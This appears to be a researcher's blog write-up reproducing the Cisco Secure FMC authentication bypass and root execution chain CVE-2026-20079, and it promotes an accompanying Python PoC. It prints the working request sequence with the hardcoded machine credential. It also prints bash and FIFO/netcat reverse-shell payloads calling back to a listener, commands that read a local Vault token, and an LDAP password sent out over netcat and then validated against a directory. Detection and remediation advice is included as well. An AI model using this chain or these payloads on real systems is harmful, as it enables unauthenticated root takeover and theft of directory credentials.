← All write-ups
ResearchCVE-2026-20079Critical

From Advisory to Root: Reproducing CVE-2026-20079 on Cisco Secure FMC

How I reproduced the public Cisco Secure FMC authentication-bypass chain, confirmed root execution, and reviewed the impact on one environment.

GitHub repositoryCyberAuth/CVE-2026-20079

Introduction

I encountered an on-premises Cisco Secure Firewall Management Center that appeared to be affected by CVE-2026-20079. Cisco had already published its advisory, and VulnCheck had documented the authentication bypass and root-execution chain in detail.

This was not a new vulnerability discovery. I wanted to confirm whether the public chain worked on this appliance, understand why some payloads failed, and see what root access to the management system exposed in this particular environment. After reproducing it manually, I wrote a standalone Python PoC so I would not have to rebuild the request sequence by hand.

Background

Cisco describes CVE-2026-20079 as a Critical vulnerability in the web interface of on-premises Secure FMC. It carries a CVSS score of 10.0. According to the advisory, a remote unauthenticated attacker can use crafted HTTP requests to bypass authentication and execute scripts as root. Cisco lists no workaround; the fix is an updated release or the hotfix for the affected branch.

VulnCheck’s analysis explains how the chain works. FMC creates a partial session for the csm_processes machine identity during startup. In the vulnerable state, that session can remain available and be upgraded with another hardcoded machine credential. The upgraded session then exposes an sf_action_id that is valid for that session and accepted by a small set of CGI functions.

The public research identified the core chain:

  1. Reuse the boot-created CGISESSID=csm_processes session.
  2. Upgrade it through /login.cgi?logon=Continue using the published report:snortrules machine credential.
  3. Request /ui/user/general and extract the newly populated sf_action_id.
  4. Call validateLicense through /sajaxintf.cgi?rs=callServerFunc to write controlled data to /var/tmp/license.tmp.
  5. Format the data as a shell script containing Cisco’s recognized Makeself marker.
  6. Pass the file into SF::UI::DataObjectLibrary::upgradeReadinessCall through /pjb.cgi.
  7. Allow the privileged update process to execute the script as root.

One catch is that the startup session does not necessarily stay around. An appliance can run an affected build and still fail the exploit at that moment because normal UI activity or session cleanup has removed it. I did not reboot the appliance just to recreate the condition.

How I Identified the FMC

The service on TCP 443 redirected / to /ui/login. Opening that page showed a login screen branded Cisco Secure Firewall Management Center.

That identified the product, but nothing more. The login page did not tell me the exact build, patch level, or whether the startup session needed for this exploit still existed.

I kept product identification separate from vulnerability confirmation. The session upgrade was the first useful signal. Access to an authenticated page and a session-specific sf_action_id confirmed the bypass. The root callback was the proof that the execution chain worked.

The environment was:

FMC:             fmc01.acme.example (192.0.2.10)
Testing system:  192.0.2.20
Directory host:  dc01.acme.example (192.0.2.30:636)

Before trying the CVE chain, I checked ordinary failed logins. Invalid credentials and unrelated login attempts returned HTTP 401, which gave me a baseline for comparison.

Step 1: Testing the Session Upgrade

I started with curl. The Python tool came later.

The session-upgrade request looked like this:

target='https://192.0.2.10'

curl -sk --max-time 15 \
  -D session-upgrade.headers \
  -o session-upgrade.body \
  -H 'Cookie: CGISESSID=csm_processes' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'username=report&password=snortrules&target=' \
  "$target/login.cgi?logon=Continue"

The response was HTTP 302 and kept the supplied session identifier. That was different from the HTTP 401 responses I had seen with ordinary failed logins, but a redirect alone was not enough to call the system vulnerable.

I followed it with a direct request to the authenticated general-user page:

curl -sk --max-time 15 \
  -D general.headers \
  -o general.html \
  -H 'Cookie: CGISESSID=csm_processes' \
  "$target/ui/user/general"

The page returned HTTP 200 and contained a line similar to:

var sf_action_id = '0123456789abcdef0123456789abcdef';

The value belongs to the upgraded session; it is not a reusable token that can be copied between systems. At this point I had the 302 response, access to an authenticated page, and an action token created for the same session. That was enough to confirm the authentication bypass.

Step 2: The First Callback Did Not Work

I started a listener on the testing system:

nc -lvnp 4444

My first payload used Bash’s /dev/tcp feature:

#!/bin/sh
# This script was generated using Makeself

/bin/rm -f /var/tmp/license.tmp
/bin/bash -c "exec /bin/bash -i &>/dev/tcp/192.0.2.20/4444 <&1"

I placed that script in the JSON array expected by validateLicense:

jq -cn \
  --arg aid "$sf_action_id" \
  --arg payload "$payload" \
  '[$aid,"validateLicense",$payload]' \
  > rce-write.request.json

The request to /sajaxintf.cgi?rs=callServerFunc returned HTTP 200 and the expected License is Invalid message. The /pjb.cgi trigger also returned HTTP 200 with a normal-looking data response.

No callback arrived.

The successful HTTP responses showed that both requests had reached the expected code paths. They did not show that the script had executed, and without a callback I could not distinguish a shell incompatibility from another payload failure.

Step 3: Using FIFO and Netcat

For the second attempt, I used the FIFO/netcat pattern from VulnCheck’s analysis and changed the callback address, port, and cleanup paths for my environment:

#!/bin/sh
# This script was generated using Makeself

rm -f /tmp/fmc_poc
mkfifo /tmp/fmc_poc
cat /tmp/fmc_poc | /bin/sh -i 2>&1 | nc 192.0.2.20 4444 > /tmp/fmc_poc
rm -f /tmp/fmc_poc /var/tmp/license.tmp

I generated a new JSON body and repeated the same two requests:

  1. validateLicense wrote the Makeself-format script to /var/tmp/license.tmp.
  2. upgradeReadinessCall passed that file into the privileged installer path.

This time the trigger request stayed open and eventually timed out. Around the same time, the FMC connected to the listener.

The timeout was misleading. The reverse shell kept the execution path open, while the separate callback showed that the payload had run.

I validated the callback with:

id
hostname -f
ls -1 /Volume 2>/dev/null | head -1

The result was:

uid=0(root) gid=0(root) groups=0(root),...
fmc01.acme.example

The callback and uid=0(root) were the proof of root execution. The HTTP responses only showed how the request moved through the application.

Step 4: Cleanup

I removed the two files created by the exploit and checked that they were gone:

rm -f /tmp/fmc_poc /var/tmp/license.tmp

for path in /tmp/fmc_poc /var/tmp/license.tmp; do
  test -e "$path" && echo "PRESENT $path" || echo "ABSENT $path"
done

I did not add a user, scheduled task, startup entry, service, or any other persistence.

Step 5: Reviewing the Appliance After Root Access

At this point the CVE was confirmed. I then looked at what root access to this particular management appliance exposed, especially around stored integration credentials.

From the root shell, I found that this FMC deployment ran HashiCorp Vault locally at:

https://127.0.0.1:8200

Because the service listened on loopback, Vault was running on the FMC itself rather than on another host.

The appliance also contained:

/etc/vault/token

The root shell could read this file. I ran the following commands inside the netcat shell on the FMC, not from a normal Kali terminal. Here, 127.0.0.1 refers to the FMC:

id
hostname -f

export VAULT_ADDR='https://127.0.0.1:8200'
export VAULT_SKIP_VERIFY='true'
export VAULT_TOKEN="$(tr -d '\r\n' </etc/vault/token)"

test -n "$VAULT_TOKEN" && echo 'Vault token loaded'

/usr/local/sf/bin/vault status
/usr/local/sf/bin/vault secrets list
/usr/local/sf/bin/vault kv list userCredentials
/usr/local/sf/bin/vault kv list userCredentials/ldapCredentials

Vault was initialized and unsealed. The local token could read an application-credential KV area containing an LDAP credential record at:

userCredentials/ldapCredentials/ACME_LDAP

I first listed only the field names:

/usr/local/sf/bin/vault kv get -format=json \
  userCredentials/ldapCredentials/ACME_LDAP |
python3 -c '
import json, sys
record = json.load(sys.stdin)["data"]["data"]
for field in sorted(record):
    print(field)
'

The record contained username and password fields.

I did not break Vault encryption or bypass its authentication. Root access gave me read access to a valid local client token, and I used only the permissions already attached to that token. I did not establish that it was HashiCorp’s unrestricted root-token type, so I do not call it a “Vault root token.”

Step 6: Handling the Credential

I did not print the recovered password to the terminal. In a separate Kali terminal, I created a one-shot receiver with a restrictive umask and wrote the selected JSON record directly to a mode-0600 file:

umask 077
credential_dir='./credentials'
mkdir -p "$credential_dir"
chmod 700 "$credential_dir"

timeout 20 nc -lvnp 4445 \
  > "$credential_dir/ACME_LDAP.json" \
  2> "$credential_dir/ACME_LDAP.transfer.log"

chmod 600 \
  "$credential_dir/ACME_LDAP.json" \
  "$credential_dir/ACME_LDAP.transfer.log"

Back in the FMC shell, I fetched only the selected record, reduced it to the two fields I needed without printing them, and sent the JSON to the waiting system:

/usr/local/sf/bin/vault kv get -format=json \
  userCredentials/ldapCredentials/ACME_LDAP |
python3 -c '
import json
import sys

record = json.load(sys.stdin)["data"]["data"]
json.dump({
    "username": record["username"],
    "password": record["password"],
}, sys.stdout)
' |
nc 192.0.2.20 4445

I then cleared the Vault variables from the FMC shell:

unset VAULT_TOKEN VAULT_ADDR VAULT_SKIP_VERIFY

On Kali, I split the received object into files that the LDAP command-line tools could use and kept both files mode 0600:

jq -r '.username' "$credential_dir/ACME_LDAP.json" \
  > "$credential_dir/ACME_LDAP.user"

jq -r '.password' "$credential_dir/ACME_LDAP.json" \
  > "$credential_dir/ACME_LDAP.pass"

chmod 600 \
  "$credential_dir/ACME_LDAP.user" \
  "$credential_dir/ACME_LDAP.pass"

The password never appeared in terminal output, screenshots, or shared notes. The point-to-point nc transfer kept it out of the terminal but did not encrypt it in transit. I would not reuse that transfer method as a general workflow; age, an approved secure-copy channel, or an encrypted evidence collector would be a better choice.

Step 7: Validating the LDAP Credential

Using the protected username and password files, I made one direct LDAPS bind to the ACME directory host:

LDAPTLS_REQCERT=never ldapwhoami -x \
  -H 'ldaps://192.0.2.30:636' \
  -D "$(cat "$credential_dir/ACME_LDAP.user")" \
  -y "$credential_dir/ACME_LDAP.pass"

The result was:

u:ACME\svc-fmc-ldap

I followed it with one base-object query for the recovered account’s status and group metadata. I did not use the credential for broad directory enumeration, object changes, password spraying, persistence, or further lateral movement.

The path in this environment was:

Unauthenticated FMC access
  -> root shell
  -> appliance-local Vault client token
  -> configured LDAP credential record
  -> successful directory authentication

This was specific to one deployment. A vulnerable FMC will not necessarily run Vault, use these paths, or contain a reusable directory credential.

Why I Wrote the Python PoC

The manual process worked, but it was easy to get wrong:

  • The exploit requires a particular sequence of requests and session reuse.
  • The sf_action_id must come from the upgraded session.
  • The write payload requires the expected JSON representation and Makeself marker.
  • HTTP success does not prove RCE.
  • Callback compatibility varies by appliance environment.
  • A trigger timeout can coincide with successful execution.
  • Cleanup must target only the files created by the test.

I wrote the Python PoC afterward to handle that sequence consistently and make the result easier to verify.

It includes:

  • A GET-only --fingerprint mode for one URL, a target file, or a CIDR range. It identifies an FMC surface but does not test the CVE.
  • A GET-only --check mode that compares at most two responses without upgrading the session, writing a file, or executing a command.
  • An explicit --check --intrusive mode for the session upgrade and action-token check.
  • A one-shot --proof mode that confirms root and cleanup without creating a FIFO or interactive shell.
  • An --exploit mode for the public write/trigger chain.
  • Input validation for the target, callback address, and port.
  • Unicode newline encoding matching the documented JSON request without changing literal backslash escapes in command content.
  • Refusal to trigger if the write response does not match the expected behavior.
  • A randomized, narrow FIFO path.
  • Optional --auto-verify callback handling.
  • Optional expected-source filtering for the callback listener.
  • Automatic uid=0(root), hostname, and build collection.
  • Exact artifact removal and cleanup verification.
  • Randomized verification markers and bounded callback output.
  • Nonzero exit status when the callback, root proof, or cleanup is incomplete.

The tool stops at CVE validation. It does not extract Vault credentials or attempt directory authentication. Neither action is needed to prove the vulnerability, and both depend on the environment, scope, secret paths, and evidence-handling requirements.

Using the PoC

Install the dependency:

python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt

Identify an FMC surface with GET requests only:

python3 CVE-2026-20079.py \
  --fingerprint \
  --target https://192.0.2.10

The fingerprint mode also accepts --targets-file or --network, with bounded concurrency and a cap on the number of targets. It still sends requests, so I describe it as low impact rather than passive. A MATCH requires both the Cisco icon path and the structured deviceLabel value for Management Center; the generic product name alone is not sufficient. The mode does not use the csm_processes cookie, submit the machine credential, change session state, or test whether the CVE is exploitable.

Run the GET-only authentication-bypass check without performing the documented session upgrade:

python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --check

The check first requires /help/about.cgi to reject a request without a session cookie. It then requests the same path with CGISESSID=csm_processes. APPEARS means the complete known two-response pattern and expected FMC about-page markers matched. PARTIAL-MATCH means the responses matched only part of that pattern, and UNCONFIRMED means the pattern was not established. Neither PARTIAL-MATCH nor UNCONFIRMED confirms the CVE or proves that the appliance is patched.

This additional GET-only comparison is adapted from the ProjectDiscovery Nuclei template authored by theamanrawat. It complements my original FMC fingerprint and the stronger session-upgrade check.

Confirm the session upgrade and action-token access when a state-changing check is authorized:

python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --check \
  --intrusive

The intrusive check confirms the authentication bypass only when the upgraded session exposes a valid, nonzero sf_action_id. An all-zero placeholder is rejected.

Request a one-shot root proof with cleanup, without a FIFO or interactive shell:

python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --proof \
  --callback-host 192.0.2.20 \
  --callback-port 4444

Run the exploit with automatic callback verification and cleanup:

python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --auto-verify

The default --check mode is GET-only and does not perform the documented upgrade of the boot-created session. It still accesses a protected endpoint and requires authorization. The intrusive check upgrades the session, while proof and exploit modes also write and execute a temporary script.

The tool removes its temporary files and checks that they are gone. It does not claim to restore the upgraded server-side session. Clearing the local cookie does not undo the server-side change, and the public research does not document a supported way to return the session to its earlier partial state. Forcing logout, expiry, or deletion would remove the session rather than restore it and could affect later testing, so the PoC leaves it alone.

I developed the Python tool after the manual reproduction. I tested its request construction, argument handling, and callback logic against a local mock FMC. The underlying requests and FIFO/netcat payload are the same ones I had already confirmed on the appliance.

Detection

Useful events to correlate include:

  • POST to /login.cgi?logon=Continue with CGISESSID=csm_processes and the report identity.
  • Immediate access to /ui/user/general.
  • validateLicense calls through /sajaxintf.cgi?rs=callServerFunc.
  • SF::UI::DataObjectLibrary::upgradeReadinessCall sent to /pjb.cgi.
  • Creation or execution of /var/tmp/license.tmp containing a Makeself marker.
  • FIFO creation under /tmp, interactive /bin/sh, netcat, and unexpected outbound FMC traffic.
  • Root reads of local credential stores or Vault-token files.
  • Vault KV access followed by an integration account authenticating from a new system.

Remediation

  • Apply Cisco’s fixed software or the hotfix for the affected branch. Cisco reports no workaround.
  • Restrict FMC management access to dedicated administrative networks and authenticated jump hosts.
  • Preserve and review web, process, filesystem, audit, and network telemetry.
  • Search Cisco’s published indicators, including unexpected use of /var/tmp/license.tmp.
  • If root compromise is suspected, treat every secret available to FMC as potentially exposed.
  • Rotate affected integration credentials, revoke sessions and tokens, and evaluate rebuilding from a trusted image.
  • Contact Cisco TAC when compromise is suspected.

Conclusion

Both exploit requests returned HTTP 200 with the first payload, but no callback arrived. The FIFO/netcat payload produced a root shell even though the trigger request timed out. That gap between the HTTP response and the callback became the PoC’s evidence standard: require an actual root result, verify cleanup, and never treat a version string or status code as proof of execution.

On this appliance, root access also exposed a local Vault client token that could read an LDAP integration record. That impact depended on the deployment; it was not required to prove CVE-2026-20079 and is not something the PoC automates.

References